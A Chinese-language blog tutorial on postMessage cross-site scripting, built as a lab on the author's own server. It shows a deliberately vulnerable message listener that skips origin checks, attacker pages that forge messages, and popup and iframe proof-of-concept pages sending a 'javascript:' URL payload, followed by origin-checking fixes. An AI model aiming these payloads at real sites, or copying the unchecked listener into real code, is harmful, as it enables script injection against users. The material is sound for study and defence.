PostMessage xss很有趣,在国外出现了很多次,国内src/众测从没遇到过,挖到过。可能境界还不够,有机会再去试试。好几年前记得心血来潮学过一次,都是半知半解,后来因为重要性不高,不了了之了,今天重新捡起来。
PostMessage的含义:参考MDN:
Window.postmessage()方法可以安全地实现Window对象之间的跨源通信;例如,在页面和它派生的弹出窗口之间,或者在页面和其内嵌的iframe之间。
简单点来说,我是这样理解的:发送相应数据到目标页面,目标页面接收传输的数据并进行处理。
具体理论详情参考:https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
废话不多说,先准备环境:一台闲置vps:
搭建两个环境页面:
demo1.html:代发送数据的页面:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
function openChild() {
child = window.open('demo2.html', 'popup', 'height=300px, width=500px');
}
function sendMessage(){
//发送的数据内容
let msg={pName : "jack", pAge: "12"};
//发送消息数据数据到任意目标源, *指的是任意anyone
child.postMessage(msg,'*');
}
</script>
</head>
<body>
<form>
<fieldset>
<input type='button' id='btnopen' value='Open child' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
</fieldset>
</form>
</body>
</html>
demo2.html:代监听发送的数据,接收消息数据页面:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
//添加事件监控消息
window.addEventListener("message", (event)=>{
let txt=document.getElementById("msg");
//接收传输过来的变量数据
txt.value=`Name is ${event.data.pName} Age is ${event.data.pAge}` ;
});
</script>
</head>
<body>
<form>
<h1>postMessage学习</h1>
<input type='text' id='msg'/>
</form>
</body>
</html>
访问:http://119.45.227.86/postmessage/demo1.html
第二步:f12子窗口,找到监听代码:
然后选择主窗口,点击Send Messsage:
查看子窗口,接收数据成功:
这样我们就完成了一次:发送数据->接收数据的一个过程
了解了基础的使用,下面是关于PostMessgae XSS的安全隐患:
(1):数据伪造:
因为发送数据中,使用的是*,并没有限制目标源,导致可以通过任意地址给http://119.45.227.86/postmessage/demo2.html发送数据:
attacker.html:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
childwin = window.open('http://119.45.227.86/postmessage/demo2.html');
function sendMessage(){
let msg={pName : "attacker", pAge: "16"};
childwin.postMessage(msg,'*')
}
(function(){setTimeout("sendMessage()",1000);}());
</script>
</head>
</html>
直接本地localhost(模拟攻击者vps)访问:
发现通过攻击者vps成功修改了传输过去的数据,原来是
Name is jack Age is 12
后被更改成:
Name is attacker Age is 16
(2)接收处的处理不当导致的dom xss:
测试环境:http://119.45.227.86/postmessage/xss.html
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
window.addEventListener("message", (event)=>{
location.href=`${event.data.url}`;
});
</script>
</head>
</html>
location.href="数据",这里可控,可以url跳转,也可以xss
利用poc:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
childwin = window.open('http://119.45.227.86/postmessage/xss.html');
function sendMessage(){
let msg={url:"javascript:alert(document.domain)"};
childwin.postMessage(msg,'*')
}
(function(){setTimeout("sendMessage()",1000);}());
</script>
</head>
</html>
本地访问跳转即触发xss:
利用成功。利用poc2:
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<iframe name="test" src="http://119.45.227.86/postmessage/xss.html" onload="xss()"></iframe>
</body>
<script type="text/javascript">
var iframe = window.frames.test
function xss(){
let msg={"url":"javascript:alert(document.domain)"};
iframe.postMessage(msg,'*');
}
</script>
</html
本地访问:
直接打开即触发xss:
修复缓解方案:
发送消息数据测试代码,限制目标源为指定发送:
demo1.html:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
childwin = window.open('http://119.45.227.86/postmessage/xss_renovate.html');
function sendMessage(){
let msg={url:"javascript:alert(document.domain)"};
childwin.postMessage(msg,'http://119.45.227.86/postmessage/xss_renovate.html')
}
(function(){setTimeout("sendMessage()",1000);}());
</script>
</head>
</html>
接收方测试代码:http://119.45.227.86/postmessage/xss_renovate.html
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
window.addEventListener("message", (event)=>{
if (event.origin !== "http://119.45.227.86"){
return;
}
location.href=`${event.data.url}`;
});
</script>
</head>
<body>
</body>
</html>
再次访问本地demo1.html,没有弹窗xss了
1.限制发送目标,禁止使用*
2.限制接收数据event.origin,使用指定信任域